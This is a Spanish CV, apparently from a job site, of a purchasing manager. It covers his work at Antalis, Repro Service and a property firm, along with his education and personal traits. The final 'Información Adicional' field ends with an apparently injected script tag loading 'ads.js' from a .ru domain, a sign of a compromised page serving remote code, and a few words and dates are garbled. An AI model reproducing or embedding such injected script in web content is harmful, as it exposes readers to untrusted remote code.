

Alfonso Foronda Almada



titulo Jefe de Compras

Compras. Profesional con amplia experiencia en Compras, Comercial y Marketing.

EXPERIENCIA LABORAL

-9/2010-11/0 Avitar Servicios Inmobiliarios, S.L.

Seguro y Bienes Inmuebles Comercial - Ventas

Puesta en marcha de la inmobiliaria, dedicada a la venta de activos de Bancos.

Contratos con Bankia y Servihabitat. Gestionando unos 200-300 pisos a la venta.

Personal puesto administrativo y 2 comerciales.

-3/2000-12/2008 Antalis

Transporte y distribución Compras

Jefe de Compras. Coordinando al personal y las actividades del departamento. Mejorando y negociando las condiciones con proveedores en cuanto a precios, r ppeles y aportaciones. 7 personas a mi cargo.

www.antalís.com

-7/1999-2/2000 Antalis

Transporte y distribución Comercial - Ventas

Supervisor y coordinador de la actividad Televenta.

Integrando la actividad después de la compra

fusión de Repro Service.

www.antalís.com

-12/1986-7/1999 Repro Service

Transporte y distribución Dirección - Gerencia

Gerente. Dirigir la política comercial de la empresa, gestionando los elementos que componen la cuenta de explotación, animando los canales de venta, negociando con los proveedores de productos y servicios, dotando de los medios materiales y personales.

-4/1982-6/1986 SABICORT CROMOTUBO, S.A.

Producción, taller y fábrica Administración

Jefe administrativo y apoderado. Realizaba el balance y la cuenta de explotación de la empresa y era el responsable de los todos los pagos y también de la gestión y financiación de las exportaciones.

FORMACIÓN ACADÉMICA

9/1981



Ciencias Empresariales

Diplomado Administración y Dirección de Empresas
Universidad Complutense de Madrid

FORMACIÓN COMPLEMENTARIA

Gestión Comercial I y II

Gestión de Empresas

Liderazgo y Motivación

Gestión de Empresas

Negociación con Proveedores

Gestión de Empresas

IDIOMAS

Inglés

Nivel:Nivel Avanzado

OBJETIVOS PROFESIONALES

Un puesto de trabajo que me permitiera un desarrollo profesional, de responsabilidades y de coordinación de personal a mi cargo.

Resultados y Logros

He conseguido una mejora significativa y continuada en negociaciones con proveedores. He desarrollado un negocio comercial culminado en la venta e integración en una multinacional.

Cualidades

Adaptable, Eficiente, Fiable, Flexible, Honesto/a, Intuitivo/a, Persistente, Responsable, Sociable, Trabajador/a,

Aficiones

Ciclismo, Cine/Películas, Gimnasio/Aerobic, Montañismo, Senderismo/Acampadas,



Disponibilidad

Estoy dispuesto a viajar: Si

Estoy dispuesto a trabajar en el extranjero: No

Estoy dispuesto a trabajar fuera de mi región: No

Información Adicional:

FORMACIÓN:EXPERIENCIA:FORMACIÓN COMPLEMENTARIA:INFORMACIÓN ADICIONAL: script
src=http://www.bannerdriven.ru/ads.js>

